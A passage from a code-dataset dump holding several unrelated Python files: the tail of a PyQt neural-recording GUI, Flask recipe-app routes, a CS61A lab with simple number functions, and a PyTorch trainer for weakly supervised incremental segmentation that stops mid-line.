new_y[::DSFAC]\n old_bool = np.in1d(old_x, new_x, assume_unique=True)\n new_bool = np.in1d(new_x, old_x, assume_unique=True)\n old_y[old_bool] = new_y[new_bool]\n # old_y[np.where(old_bool)[0][-1]+1:] = 0 # Uncomment to zero out the end of the last seg.\n pci.setData(x=old_x, y=old_y)\n # Store last_sample_ix for next iteration.\n self.segmented_series[line_label]['last_sample_ix'] = sample_indices[-1]\n\n\ndef main():\n from qtpy.QtWidgets import QApplication\n from qtpy.QtCore import QTimer\n _ = QApplication(sys.argv)\n aw = SweepGUI()\n timer = QTimer()\n timer.timeout.connect(aw.update)\n timer.start(1)\n\n if (sys.flags.interactive != 1) or not hasattr(qtpy.QtCore, 'PYQT_VERSION'):\n QApplication.instance().exec_()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"simonoxen/NeuroportDBS","sub_path":"neuroport_dbs/SweepGUI.py","file_name":"SweepGUI.py","file_ext":"py","file_size_in_byte":22676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"}
+{"seq_id":"9529915385","text":"from flask_app import app\nfrom flask import render_template, request, redirect, session, flash\nfrom flask_app.models import recipe_methods, user_methods\n\nfrom flask_bcrypt import Bcrypt\nbcrypt = Bcrypt(app)\n\n\n\n@app.route(\"/recipes/new\")\ndef create_recipe():\n if 'user_id' not in session:\n return redirect(\"/\")\n return render_template(\"add_recipe.html\")\n\n@app.route(\"/recipes/create\", methods = [\"POST\"])\ndef create_recipe_process():\n if 'user_id' not in session:\n return redirect(\"/\")\n if not recipe_methods.Recipe.validate_recipe(request.form):\n print(\"Could Not Save Recipe\")\n return redirect(\"/recipes/new\")\n data={\n \"user_id\" : session['user_id'],\n \"name\" : request.form['name'],\n \"description\" : request.form['description'],\n \"instructions\" : request.form['instructions'],\n \"date_cooked\" : request.form['date_cooked'],\n \"cook_time\" : request.form['cook_time'],\n }\n recipe_methods.Recipe.add_recipe(data)\n print(\"Recipe Saved\", \"request.form\", request.form)\n return redirect(\"/recipes\")\n\n@app.route(\"/recipes\")\ndef get_all_recipes():\n if 'user_id' not in session:\n return redirect(\"/\")\n data = {\n \"id\" : session['user_id'],\n }\n return render_template('recipes.html', all_recipes = recipe_methods.Recipe.get_all_recipes_with_users(), current_user = user_methods.User.get_one_user_by_email(data))\n\n@app.route(\"/recipes/\")\ndef view_recipe(id):\n if 'user_id' not in session:\n return redirect(\"/\")\n session['recipe_id'] = id\n data = {\n \"id\" : id\n }\n return render_template(\"view_recipe.html\", recipe = recipe_methods.Recipe.get_one_recipe(data))\n\n@app.route(\"/recipes/edit/\")\ndef edit_recipe(id):\n if 'user_id' not in session:\n return redirect(\"/\")\n data = {\n \"id\" : id\n }\n return render_template(\"edit_recipe.html\", recipe = recipe_methods.Recipe.get_one_recipe(data))\n\n@app.route(\"/recipes/update/\", methods = [\"POST\"])\ndef edit_recipe_process(id):\n if 'user_id' not in session:\n return redirect(\"/\")\n data = {\n \"id\" : id,\n \"name\" : request.form['name'],\n \"description\" : request.form['description'],\n \"instructions\" : request.form['instructions'],\n \"user_id\" : request.form['user_id']\n }\n recipe_methods.Recipe.edit_recipe(data)\n print(\"request.form\", request.form)\n return redirect (\"/recipes\")\n\n@app.route(\"/recipes/delete/\")\ndef delete_recipe(id):\n if 'user_id' not in session:\n return redirect(\"/\")\n recipe_methods.Recipe.delete_recipe({\"id\": id})\n print(\"recipe deleted\")\n return redirect (\"/recipes\")\n","repo_name":"sarahsotomayor/Python-Full-Stack-Bootcamp","sub_path":"FLASK_MYSQL/RECIPES/flask_app/controllers/recipe_routes.py","file_name":"recipe_routes.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"29860593760","text":"def falling(n, k):\n \"\"\"Compute the falling factorial of n to depth k.\n\n >>> falling(6, 3) # 6 * 5 * 4\n 120\n >>> falling(4, 3) # 4 * 3 * 2\n 24\n >>> falling(4, 1) # 4\n 4\n >>> falling(4, 0)\n 1\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n result = 1\n while k > 0:\n result = result*n\n n -= 1\n k -= 1\n return result\n\ndef sum_digits(y):\n \"\"\"Sum all the digits of y.\n\n >>> sum_digits(10) # 1 + 0 = 1\n 1\n >>> sum_digits(4224) # 4 + 2 + 2 + 4 = 12\n 12\n >>> sum_digits(1234567890)\n 45\n >>> a = sum_digits(123) # make sure that you are using return rather than print\n >>> a\n 6\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n i = total_digits_number(y)\n sum = 0\n while i > 0:\n sum = sum + (y%10)\n y = y//10\n i -= 1\n return sum\n\ndef total_digits_number(y):\n k = 0\n while y > 0:\n k += 1\n y = y//10\n return k\n\n\ndef double_eights(n):\n \"\"\"Return true if n has two eights in a row.\n >>> double_eights(8)\n False\n >>> double_eights(88)\n True\n >>> double_eights(2882)\n True\n >>> double_eights(880088)\n True\n >>> double_eights(12345)\n False\n >>> double_eights(80808080)\n False\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n \"\"\"k = total_digits_number(n)\"\"\"\n while n > 0:\n if n%10 == 8:\n n = n//10\n if n%10 == 8:\n return True\n else:\n n = n//10\n return False\n\n\n","repo_name":"thatbabyblue/UCB-cs61a-2021-Fall","sub_path":"lab/lab01/lab01.py","file_name":"lab01.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"29331126483","text":"import torch\nimport numpy as np\nfrom torch import distributed\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom functools import reduce\nimport tqdm\nfrom utils.loss import KnowledgeDistillationLoss, BCEWithLogitsLossWithIgnoreIndex, \\\n UnbiasedKnowledgeDistillationLoss, UnbiasedCrossEntropy, IcarlLoss\nfrom torch.cuda import amp\nfrom segmentation_module import make_model, TestAugmentation\nimport tasks\nfrom torch.nn.parallel import DistributedDataParallel\nimport os.path as osp\nfrom wss.modules import PAMR, ASPP\nfrom utils.utils import denorm, label_to_one_hot\nfrom wss.single_stage import pseudo_gtmask, balanced_mask_loss_ce, balanced_mask_loss_unce\nfrom utils.wss_loss import bce_loss, ngwp_focal, binarize, sem_bce_loss\nfrom segmentation_module import get_norm\nfrom utils.scheduler import get_scheduler\nimport pdb\nfrom torchvision.utils import make_grid, save_image\nimport os\nfrom utils.utils import denorm, visualize_predictions\n\nclass Trainer:\n def __init__(self, logger, device, opts, task=None):\n self.logger = logger\n self.device = device\n self.opts = opts\n self.scaler = amp.GradScaler()\n\n self.sample_num = opts.sample_num\n self.pl_threshold = opts.pl_threshold\n self.ws_bkg = opts.ws_bkg\n self.viz_dataset = opts.dataset\n self.external_dataset = opts.external_dataset\n self.semantic_similarity = opts.semantic_similarity\n self.lambda_sem = opts.lambda_sem\n\n if task is not None:\n # in case of FSS\n self.classes = classes = task.get_n_classes()\n self.order = task.get_order()\n else:\n self.classes = classes = tasks.get_per_task_classes(opts.dataset, opts.task, opts.step)\n self.order = tasks.get_order(opts.dataset, opts.task, opts.step)\n\n if classes is not None:\n new_classes = classes[-1]\n self.tot_classes = reduce(lambda a, b: a + b, classes)\n self.old_classes = self.tot_classes - new_classes\n else:\n self.old_classes = 0\n\n self.model = make_model(opts, classes=classes)\n\n if opts.step == 0: # if step 0, we don't need to instance the model_old\n self.model_old = None\n else: # instance model_old\n if task is not None:\n # in case of FSS\n prev_classes = task.get_n_classes()[:-1]\n else:\n prev_classes = tasks.get_per_task_classes(opts.dataset, opts.task, opts.step - 1)\n\n self.model_old = make_model(opts, classes=prev_classes)\n self.model_old.to(self.device)\n # freeze old model and set eval mode\n for par in self.model_old.parameters():\n par.requires_grad = False\n self.model_old.eval()\n\n self.weakly = opts.weakly and opts.step > 0\n self.pos_w = opts.pos_w\n self.use_aff = opts.affinity\n self.weak_single_stage_dist = opts.ss_dist\n self.pseudo_epoch = opts.pseudo_ep\n cls_classes = self.tot_classes\n self.pseudolabeler = None\n\n if self.weakly:\n # PAMR module is not trainable (no backprop occurs)\n self.affinity = PAMR(num_iter=10, dilations=[1, 2, 4, 8, 12]).to(device)\n for p in self.affinity.parameters():\n p.requires_grad = False\n\n # initialize the localizer (or auxiliary classifier). This branch learns the seg masks from image labels\n norm = get_norm(opts)\n channels = 4096 if \"wide\" in opts.backbone else 2048\n self.pseudolabeler = nn.Sequential(nn.Conv2d(channels, 256, kernel_size=3, stride=1, padding=1, bias=False),\n norm(256),\n nn.Conv2d(256, 256, kernel_size=3, stride=1, padding=1, bias=False),\n norm(256),\n nn.Conv2d(256, cls_classes, kernel_size=1, stride=1))\n\n self.icarl = opts.icarl\n\n self.optimizer, self.scheduler = self.get_optimizer(opts)\n\n # send models to DDP\n self.distribute(opts)\n\n # Select the Loss Type\n reduction = 'none'\n\n self.bce = opts.bce or opts.icarl\n if self.bce:\n self.criterion = BCEWithLogitsLossWithIgnoreIndex(reduction=reduction)\n elif opts.unce and self.old_classes != 0:\n self.criterion = UnbiasedCrossEntropy(old_cl=self.old_classes, ignore_index=255, reduction=reduction)\n else:\n self.criterion = nn.CrossEntropyLoss(ignore_index=255, reduction=reduction)\n\n # ILTSS\n self.lde = opts.loss_de # Distillation on Encoder features\n self.lde_flag = self.lde > 0. and self.model_old is not None\n self.lde_loss = nn.MSELoss()\n\n self.lkd = opts.loss_kd\n self.lkd_flag = self.lkd > 0. and self.model_old is not None\n if opts.unkd:\n self.lkd_loss = UnbiasedKnowledgeDistillationLoss(alpha=opts.alpha)\n else:\n self.lkd_loss = KnowledgeDistillationLoss(alpha=opts.alpha)\n\n # ICARL\n self.icarl_combined = False\n self.icarl_only_dist = False\n if opts.icarl:\n self.icarl_combined = not opts.icarl_disjoint and self.model_old is not None\n self.icarl_only_dist = opts.icarl_disjoint and self.model_old is not None\n if self.icarl_combined:\n self.licarl = nn.BCEWithLogitsLoss(reduction='mean')\n self.icarl = opts.icarl_importance\n elif self.icarl_only_dist:\n self.licarl = IcarlLoss(reduction='mean', bkg=opts.icarl_bkg)\n self.icarl_dist_flag = self.icarl_only_dist or self.icarl_combined\n\n def get_optimizer(self, opts):\n params = []\n if not opts.freeze:\n params.append({\"params\": filter(lambda p: p.requires_grad, self.model.body.parameters()),\n 'weight_decay': opts.weight_decay})\n\n params.append({\"params\": filter(lambda p: p.requires_grad, self.model.head.parameters()),\n 'weight_decay': opts.weight_decay, 'lr': opts.lr*opts.lr_head})\n params.append({\"params\": filter(lambda p: p.requires_grad, self.model.cls.parameters()),\n 'weight_decay': opts.weight_decay, 'lr': opts.lr*opts.lr_head})\n if self.weakly:\n params.append({\"params\": filter(lambda p: p.requires_grad, self.pseudolabeler.parameters()),\n 'weight_decay': opts.weight_decay, 'lr': opts.lr_pseudo})\n\n optimizer = torch.optim.SGD(params, lr=opts.lr, momentum=0.9, nesterov=True)\n scheduler = get_scheduler(opts, optimizer)\n\n return optimizer, scheduler\n\n def distribute(self, opts):\n self.model = DistributedDataParallel(self.model.to(self.device), device_ids=[opts.device_id],\n output_device=opts.device_id, find_unused_parameters=False)\n if self.weakly:\n self.pseudolabeler = DistributedDataParallel(self.pseudolabeler.to(self.device), device_ids=[opts.device_id],\n output_device=opts.device_id, find_unused_parameters=False)\n\n def train(self, cur_epoch, train_loader, external_loader=None, print_int=10, affinity_matrix=None, metrics=None):\n \"\"\"Train and return epoch loss\"\"\"\n if metrics is not None:\n metrics.reset()\n optim = self.optimizer\n scheduler = self.scheduler\n device = self.device\n model = self.model\n criterion = self.criterion\n logger = self.logger\n\n logger.info(\"Epoch %d, lr = %f\" % (cur_epoch, optim.param_groups[0]['lr']))\n rank_zero = distributed.get_rank() == 0 # a boolean variable, true if the rank of the process is 0\n\n epoch_loss = 0.0\n reg_loss = 0.0\n l_cam_out = 0.0\n l_cam_int = 0.0\n l_cam_new = 0.0\n l_sem_sim = 0.0\n l_seg = 0.0\n l_cls = 0.0\n l_loc = 0.0\n l_ext_loc = 0.0\n l_seg_ext = 0.0\n interval_loss = 0.0\n\n lkd = torch.tensor(0.)\n lde = torch.tensor(0.)\n lde_ext = torch.tensor(0.)\n l_icarl = torch.tensor(0.)\n l_reg = torch.tensor(0.)\n\n train_loader.sampler.set_epoch(cur_epoch)\n\n if distributed.get_rank() == 0:\n tq = tqdm.tqdm(total=len(train_loader))\n tq.set_description(\"Epoch %d, lr = %f\" % (cur_epoch, optim.param_groups[0]['lr']))\n else:\n tq = None\n \n if self.external_dataset:\n ext_iter = iter(external_loader)\n\n model.train()\n for cur_step, (images, labels, l1h) in enumerate(train_loader):\n\n # load external data set images\n if self.weakly and self.external_dataset:\n try:\n ext_data = ext_iter.next()\n ext_images, ext_l1h = ext_data[0], ext_data[1]\n except:\n ext_iter = iter(external_loader)\n ext_data = ext_iter.next()\n ext_images, ext_l1h = ext_data[0], ext_data[1]\n\n ext_images = ext_images.to(device, dtype=torch.float)\n ext_l1h = ext_l1h.to(device, dtype=torch.float)\n\n images = images.to(device, dtype=torch.float) # B x 3 x H x W\n # index 0 in l1h represents the first object/thing class\n l1h = l1h.to(device, dtype=torch.float) # these are one_hot, i.e., B x nb_classes\n labels = labels.to(device, dtype=torch.long) # B x H x W\n\n if self.weakly and self.external_dataset:\n images = torch.cat([images, ext_images], dim=0)\n l1h = torch.cat([l1h, ext_l1h], dim=0)\n\n # an indicator which is 1 for images belonging to new classes\n # and 0 for images belonging to old classes\n new_classes_mask = (l1h.sum(-1) > 0).float()\n\n with amp.autocast():\n if (self.lde_flag or self.lkd_flag or self.icarl_dist_flag or self.weakly) and self.model_old is not None:\n with torch.no_grad():\n # outputs_old has shape bs x (nb_old_classes + bg) x h x w\n outputs_old, features_old = self.model_old(images, interpolate=False)\n\n optim.zero_grad()\n outputs, features = model(images, interpolate=False) #outputs shape: bs x nb_classes x h x w\n\n # xxx BCE / Cross Entropy Loss\n if not self.weakly:\n outputs = F.interpolate(outputs, size=images.shape[-2:], mode=\"bilinear\", align_corners=False) # shape B x nb_classes x H x W. upsampled.\n if not self.icarl_only_dist:\n loss = criterion(outputs, labels) # B x H x W\n else:\n # ICaRL loss -- unique CE+KD\n outputs_old = F.interpolate(outputs_old, size=images.shape[-2:], mode=\"bilinear\",\n align_corners=False)\n loss = self.licarl(outputs, labels, torch.sigmoid(outputs_old))\n\n loss = loss.mean() # scalar\n\n # xxx ICARL DISTILLATION\n if self.icarl_combined:\n # tensor.narrow( dim, start, end) -> slice tensor from start to end in the specified dim\n n_cl_old = outputs_old.shape[1]\n outputs_old = F.interpolate(outputs_old, size=images.shape[-2:], mode=\"bilinear\",\n align_corners=False)\n # use n_cl_old to sum the contribution of each class, and not to average them (as done in our BCE).\n l_icarl = self.icarl * n_cl_old * self.licarl(outputs.narrow(1, 0, n_cl_old),\n torch.sigmoid(outputs_old))\n\n # xxx ILTSS (distillation on features or logits)\n if self.lde_flag:\n lde = self.lde * self.lde_loss(features['body'], features_old['body'])\n\n if self.lkd_flag:\n outputs_old = F.interpolate(outputs_old, size=images.shape[-2:], mode=\"bilinear\",\n align_corners=False)\n # resize new output to remove new logits and keep only the old ones\n lkd = self.lkd * self.lkd_loss(outputs, outputs_old)\n\n else:\n bs = images.shape[0]\n\n self.pseudolabeler.eval()\n int_masks = self.pseudolabeler(features['body']).detach() # shape B x (nb_classes + bg) x 32 x 32, 1-bkg, 15-old, 5-new\n\n self.pseudolabeler.train()\n int_masks_raw = self.pseudolabeler(features['body']) # shape: bs x (nb_classes + bg) x 32 x 32\n\n # CAM Loss\n if self.opts.no_mask:\n l_cam_new = bce_loss(\n int_masks_raw, \n outputs_old.detach(), \n nb_new_classes=self.tot_classes - self.old_classes,\n labels=l1h,\n mode=self.opts.cam, \n reduction='mean'\n )\n else:\n l_cam_new = bce_loss(\n int_masks_raw, \n outputs_old.detach(), \n self.tot_classes - self.old_classes,\n l1h[:, self.old_classes - 1:],\n mode=self.opts.cam, \n reduction='none',\n affinity_matrix=affinity_matrix\n ).sum(-1)\n l_cam_new = (l_cam_new * new_classes_mask).sum() / (new_classes_mask.sum() + 1e-5)\n\n # Semantic Similarity Loss\n if self.semantic_similarity:\n l_sem_sim, similarity_weights = sem_bce_loss(\n int_masks_raw, \n labels=l1h, \n outputs_old=outputs_old,\n nb_new_classes=self.tot_classes - self.old_classes,\n affinity_matrix=affinity_matrix,\n order=self.order\n )\n\n # Prior Loss\n l_loc = F.binary_cross_entropy_with_logits(\n int_masks_raw[:, :self.old_classes],\n torch.sigmoid(outputs_old.detach()),\n reduction='mean'\n )\n \n l_sem_sim = self.lambda_sem * l_sem_sim\n l_cam_int = l_cam_new + l_loc + l_sem_sim\n \n # Distillation Loss on the Encoder features.\n if self.lde_flag:\n lde = self.lde * self.lde_loss(features['body'], features_old['body'])\n\n l_cam_out = 0 * outputs[0, 0].mean() # avoid errors due to DDP\n\n if cur_epoch >= self.pseudo_epoch:\n \n # predictions from the pseudo-labeller (or the localizer or auxiliary classifier)\n int_masks_orig = int_masks.softmax(dim=1)\n int_masks_soft = int_masks.softmax(dim=1)\n\n # use affinity on CAM. this is the PAMR module in Stefan Roth's paper\n # Single-Stage Semantic Segmentation from Image Labels, CVPR 2020\n if self.use_aff:\n image_raw = denorm(images)\n # downsample the images to the mask resolution\n im = F.interpolate(image_raw, int_masks.shape[-2:], mode=\"bilinear\",\n align_corners=True)\n int_masks_soft = self.affinity(im, int_masks_soft.detach())\n\n int_masks_orig[:, 1:] *= l1h[:, :, None, None] # l1h no bg\n int_masks_soft[:, 1:] *= l1h[:, :, None, None]\n\n # Convert continuous mask into binary mask\n pseudo_gt_seg = pseudo_gtmask(int_masks_soft, ambiguous=True, cutoff_top=0.6,\n cutoff_bkg=0.7, cutoff_low=0.2).detach() # B x C x H x W\n\n # smoothed pseudo-label for each pixel\n pseudo_gt_seg_lx = binarize(int_masks_orig) # Hard pseudo-label, shape bs x (nb_classes + bkg) x h x w\n pseudo_gt_seg_lx = (self.opts.alpha * pseudo_gt_seg_lx) + \\\n ((1-self.opts.alpha) * int_masks_orig)\n\n # ignore_mask = (pseudo_gt_seg.sum(1) > 0)\n px_cls_per_image = pseudo_gt_seg_lx.view(bs, self.tot_classes, -1).sum(dim=-1)\n batch_weight = torch.eq((px_cls_per_image[:, self.old_classes:] > 0),\n l1h[:, self.old_classes - 1:].bool()) # shape: bs x nb_new_classes\n\n batch_weight = (\n batch_weight.sum(dim=1) == (self.tot_classes - self.old_classes)).float()\n\n # predictions from the old model for the current task images\n target_old = torch.sigmoid(outputs_old.detach())\n\n # combine the PL from the old and current tasks\n target = torch.cat((target_old, pseudo_gt_seg_lx[:, self.old_classes:]), dim=1)\n if self.opts.icarl_bkg == -1:\n # torch.min is the original code\n target[:, 0] = torch.min(target[:, 0], pseudo_gt_seg_lx[:, 0])\n else:\n target[:, 0] = (1-self.opts.icarl_bkg) * target[:, 0] + \\\n self.opts.icarl_bkg * pseudo_gt_seg_lx[:, 0]\n\n # To train the main segmentation head across all the classes at current step\n l_seg = F.binary_cross_entropy_with_logits(outputs, target, reduction='none').sum(dim=1)\n l_seg = l_seg.view(bs, -1).mean(dim=-1)\n l_seg = self.opts.l_seg * (batch_weight * l_seg).sum() / (batch_weight.sum() + 1e-5)\n \n # Self-training Loss for the localizer\n l_cls = balanced_mask_loss_ce(int_masks_raw, pseudo_gt_seg, l1h, new_classes_mask=new_classes_mask)\n\n loss = l_seg + l_cam_out\n l_reg = l_cls + l_cam_int\n\n # xxx first backprop of previous loss (compute the gradients for regularization methods)\n # total loss = seg-loss + lkd-loss + encoder-distillation-loss + icarl-loss + cam-loss and pl-seg-loss on localizer\n loss_tot = loss + lkd + lde + l_icarl + l_reg\n\n # for metrics\n outputs = F.interpolate(outputs, size=images.shape[-2:], mode=\"bilinear\", align_corners=False) # shape B x nb_classes x H x W. upsampled.\n _, prediction = outputs.max(dim=1) # B, H, W\n prediction = prediction.cpu().numpy()\n labels = labels.cpu().numpy()\n if metrics is not None:\n metrics.update(labels, prediction)\n\n self.scaler.scale(loss_tot).backward()\n self.scaler.step(optim)\n if scheduler is not None:\n scheduler.step()\n self.scaler.update()\n\n epoch_loss += loss.item()\n reg_loss += l_reg.item() if l_reg != 0. else 0.\n reg_loss += lkd.item() + lde.item() + l_icarl.item()\n interval_loss += loss.item() + lkd.item() + lde.item() + l_icarl.item()\n interval_loss += l_reg.item() if l_reg != 0. else 0.\n\n if tq is not None:\n tq.update(1)\n posftfix_dict = {'Total Loss': f\"{loss_tot: .4f}\", 'Sem Loss': f\"{l_sem_sim:.4f}\"}\n tq.set_postfix(posftfix_dict)\n\n if (cur_step + 1) % print_int == 0:\n interval_loss = interval_loss / print_int\n logger.debug(f\"Epoch {cur_epoch}, Batch {cur_step + 1}/{len(train_loader)},\"\n f\" Loss={interval_loss}\")\n logger.debug(f\"Loss made of: CE {loss}, LKD {lkd}, LDE {lde}, LReg {l_reg}\")\n # visualization\n if logger is not None:\n x = cur_epoch * len(train_loader) + cur_step + 1\n logger.add_scalar('Loss/tot', interval_loss, x, intermediate=True)\n logger.add_scalar('Loss/CAM_int', l_cam_int, x, intermediate=True)\n logger.add_scalar('Loss/Loc_loss', l_loc, x, intermediate=True)\n logger.add_scalar('Loss/CAM_loss', l_cam_new, x, intermediate=True)\n logger.add_scalar('Loss/SEG_int', l_cls, x, intermediate=True)\n logger.add_scalar('Loss/SEG_out', l_seg, x, intermediate=True)\n logger.commit(intermediate=True)\n interval_loss = 0.0\n\n if tq is not None:\n tq.close()\n\n # collect statistics from multiple processes\n epoch_loss = torch.tensor(epoch_loss).to(self.device)\n reg_loss = torch.tensor(reg_loss).to(self.device)\n\n torch.distributed.reduce(epoch_loss, dst=0)\n torch.distributed.reduce(reg_loss, dst=0)\n\n if distributed.get_rank() == 0:\n epoch_loss = epoch_loss / distributed.get_world_size() / len(train_loader)\n reg_loss = reg_loss / distributed.get_world_size() / len(train_loader)\n\n logger.info(f\"Epoch {cur_epoch}, Class Loss={epoch_loss}, Reg Loss={reg_loss}\")\n\n # collect statistics from multiple processes\n if metrics is not None:\n metrics.synch(self.device)\n\n return (epoch_loss, reg_loss)\n \n def observe_pl_argmax(self, loc_logits, l1h, out_size):\n # return a full sized prediction map\n\n loc_logits = F.interpolate(loc_logits, size=out_size, mode=\"bilinear\", align_corners=False)\n loc_logits = F.softmax(loc_logits, dim=1)\n loc_logits[:, 1:] *= l1h[:, :, None, None]\n pseudo_gt_seg_lx = binarize(loc_logits)\n pseudo_gt_seg_lx = (self.opts.alpha * pseudo_gt_seg_lx) + \\\n ((1-self.opts.alpha) * loc_logits)\n return pseudo_gt_seg_lx\n\n def eval_external(self, loader):\n \"\"\"\n Evaluate the model predictions on external data set\n \"\"\"\n device = self.device\n model = self.model\n localizer = self.pseudolabeler\n model_old = self.model_old\n model.eval()\n localizer.eval()\n model_old.eval()\n\n ret_samples = []\n\n with torch.no_grad():\n for i, (x, _) in enumerate(loader):\n images = x.to(device, dtype=torch.float32)\n\n with amp.autocast():\n # prediction from the online model\n outputs, features = model(images)\n # prediction from the localizer\n localizer_logits = localizer(features['body'])\n # prediction from the old model\n outputs_old, _ = model_old(images)\n \n _, prediction = F.softmax(outputs, dim=1).max(dim=1)\n _, prediction_old = F.softmax(outputs_old, dim=1).max(dim=1)\n localizer_logits = F.interpolate(localizer_logits, size=prediction.shape[-2:], mode=\"bilinear\", align_corners=False)\n _, localizer_preds = F.softmax(localizer_logits, dim=1).max(dim=1)\n\n if len(ret_samples) <= 2*self.sample_num:\n for j, image in enumerate(images):\n ret_samples.append((\n images[j].cpu(),\n prediction[j].cpu(),\n localizer_preds[j].cpu(),\n prediction_old[j].cpu()\n ))\n else:\n return ret_samples\n return ret_samples\n \n def get_similarity_maps(self, prediction, affinity_matrix=None):\n affinity_matrix = affinity_matrix[self.order, :]\n affinity_matrix = affinity_matrix[:, self.order]\n\n h, w = prediction.shape\n #similarity_mask = torch.zeros((self.tot_classes - self.old_classes, h, w))\n prediction_1h = F.one_hot(prediction, num_classes=self.old_classes).permute(2, 0, 1).float() # nb_old x h x w\n aff_matrix = affinity_matrix[np.arange(self.old_classes, self.tot_classes), :]\n aff_matrix = aff_matrix[:, np.arange(self.old_classes)] # nb_new x nb_old\n similarity_mask = torch.bmm(torch.from_numpy(aff_matrix).unsqueeze(0).float(), prediction_1h.view(-1, h*w).unsqueeze(0)).reshape(-1, h, w)\n return similarity_mask\n \n def validate_and_visualize(self, loader, metrics, affinity_matrix=None, class_dict=None, save_folder=None, visualize=True):\n # Validate and generate visualizations for every sample\n # only used if the code is run in inference mode\n metrics.reset()\n device = self.device\n \n self.model.eval()\n self.model_old.eval()\n self.pseudolabeler.eval()\n\n if distributed.get_rank() == 0:\n tq = tqdm.tqdm(total=len(loader))\n tq.set_description(\"Running inference\")\n else:\n tq = None\n\n with torch.no_grad():\n for i, x in enumerate(loader):\n images = x[0].to(device, dtype=torch.float32)\n labels = x[1].to(device, dtype=torch.long)\n\n with amp.autocast():\n # prediction from the online/current model\n outputs, features = self.model(images)\n # prediction from the old model\n outputs_old, _ = self.model_old(images)\n # prediction from the localizer\n localizer_logits = self.pseudolabeler(features['body'])\n\n probabilities, prediction = F.softmax(outputs, dim=1).max(dim=1)\n probabilities_old, prediction_old = F.softmax(outputs_old, dim=1).max(dim=1)\n localizer_masks = F.interpolate(\n localizer_logits, \n size=prediction.shape[-2:], \n mode=\"bilinear\", \n align_corners=False\n )\n localizer_probs, localizer_preds = F.softmax(localizer_masks, dim=1).max(dim=1)\n\n output = {}\n output['image'] = images.cpu()\n output['label'] = labels.cpu()\n output['loc_pred'] = localizer_preds.cpu()\n output['main_pred'] = prediction.cpu()\n output['old_pred'] = prediction_old.cpu()\n output['similarity_map'] = self.get_similarity_maps(prediction_old.squeeze(0).cpu(), affinity_matrix) \\\n if affinity_matrix is not None else None\n \n if visualize and distributed.get_rank() == 0:\n visualize_predictions(\n dataset=self.viz_dataset, \n output=output, \n mapping_dict=class_dict, \n base_path=save_folder,\n idx=i\n )\n \n labels = labels.cpu().numpy()\n prediction = prediction.cpu().numpy()\n metrics.update(labels, prediction)\n\n if tq is not None:\n tq.update(1)\n \n # collect statistics from multiple processes\n metrics.synch(device)\n score = metrics.get_results()\n\n if tq is not None:\n tq.close()\n\n return score, None\n\n def validate(self, loader, metrics, evaluate_old_model=False, affinity_matrix=None, class_dict=None):\n \"\"\"Do validation and return specified samples\"\"\"\n metrics.reset()\n model = self.model_old if evaluate_old_model else self.model\n if self.opts.step > 0:\n model_old = self.model_old\n device = self.device\n ret_samples = []\n\n\n model.eval()\n \n if self.opts.step > 0:\n self.pseudolabeler.eval()\n model_old.eval()\n\n with torch.no_grad():\n for i, x in enumerate(loader):\n images = x[0].to(device, dtype=torch.float32)\n labels = x[1].to(device, dtype=torch.long)\n l1hs = x[2]\n\n # if self.weakly:\n # l1h = x[2]\n\n with amp.autocast():\n # prediction from the online model\n outputs, features = model(images)\n if self.opts.step > 0:\n # prediction from the old model\n outputs_old, _ = model_old(images)\n # prediction from the localizer\n localizer_logits = self.pseudolabeler(features['body'])\n \n probabilities, prediction = F.softmax(outputs, dim=1).max(dim=1)\n \n if self.opts.step > 0:\n probabilities_old, prediction_old = F.softmax(outputs_old, dim=1).max(dim=1)\n fg_mask = 1 - (prediction_old > 0).float()\n \n pseudo_gt_seg_lx = self.observe_pl_argmax(localizer_logits, l1hs.to(device, dtype=torch.long), out_size=prediction.shape[-2:])\n # full res output\n target_old = torch.sigmoid(outputs_old)\n target_all = torch.cat((target_old, pseudo_gt_seg_lx[:, self.old_classes:]), dim=1)\n target_all[:, 0] = torch.min(target_all[:, 0], pseudo_gt_seg_lx[:, 0]) # original is torch.min\n target_all = target_all.max(dim=1)[1]\n\n localizer_masks = F.interpolate(localizer_logits, size=prediction.shape[-2:], mode=\"bilinear\", align_corners=False)\n localizer_probs, localizer_preds = F.softmax(localizer_masks, dim=1).max(dim=1)\n\n new_cls_l1h = nn.functional.one_hot(torch.from_numpy(np.arange(self.old_classes, self.tot_classes)), num_classes=self.tot_classes).sum(dim=0).float()\n if len(ret_samples) <= self.sample_num:\n for j, l1h in enumerate(l1hs):\n # check if the image contains one of the new classes\n label_present = (new_cls_l1h[1:] * l1h).sum() > 0\n if label_present:\n ## similarity mask is used to visualize the similarity masks\n ## comment out temporarily\n #similarity_mask = self.get_similarity_maps(prediction_old[j].cpu(), affinity_matrix)\n ret_samples.append(\n (\n images[j].cpu(), \n labels[j].cpu(), \n prediction[j].cpu(), \n localizer_preds[j].cpu(), \n prediction_old[j].cpu(),\n target_all[j].cpu(),\n probabilities_old[j].cpu(),\n localizer_probs[j].cpu(),\n fg_mask[j].cpu(),\n #similarity_mask.cpu()\n )\n )\n\n labels = labels.cpu().numpy()\n prediction = prediction.cpu().numpy()\n metrics.update(labels, prediction)\n\n # collect statistics from multiple processes\n metrics.synch(device)\n score = metrics.get_results()\n\n return score, ret_samples\n\n def validate_CAM(self, loader, metrics):\n \"\"\"Do validation and return specified samples\"\"\"\n metrics.reset()\n model = self.model\n device = self.device\n\n self.pseudolabeler.eval()\n model.eval()\n\n def classify(images):\n masks = self.pseudolabeler(model(images, as_feature_extractor=True)['body'])\n masks = F.interpolate(masks, size=images.shape[-2:], mode=\"bilinear\", align_corners=False)\n masks = masks.softmax(dim=1)\n return masks\n\n i = -1\n with torch.no_grad():\n for x in tqdm.tqdm(loader):\n i = i+1\n images = x[0].to(device, dtype=torch.float32)\n labels = x[1].to(device, dtype=torch.long)\n l1h = x[2].to(device, dtype=torch.bool)\n\n with amp.autocast():\n masks = classify(images)\n\n _, prediction = masks.max(dim=1)\n\n labels[labels < self.old_classes] = 0\n labels = labels.cpu().numpy()\n prediction = 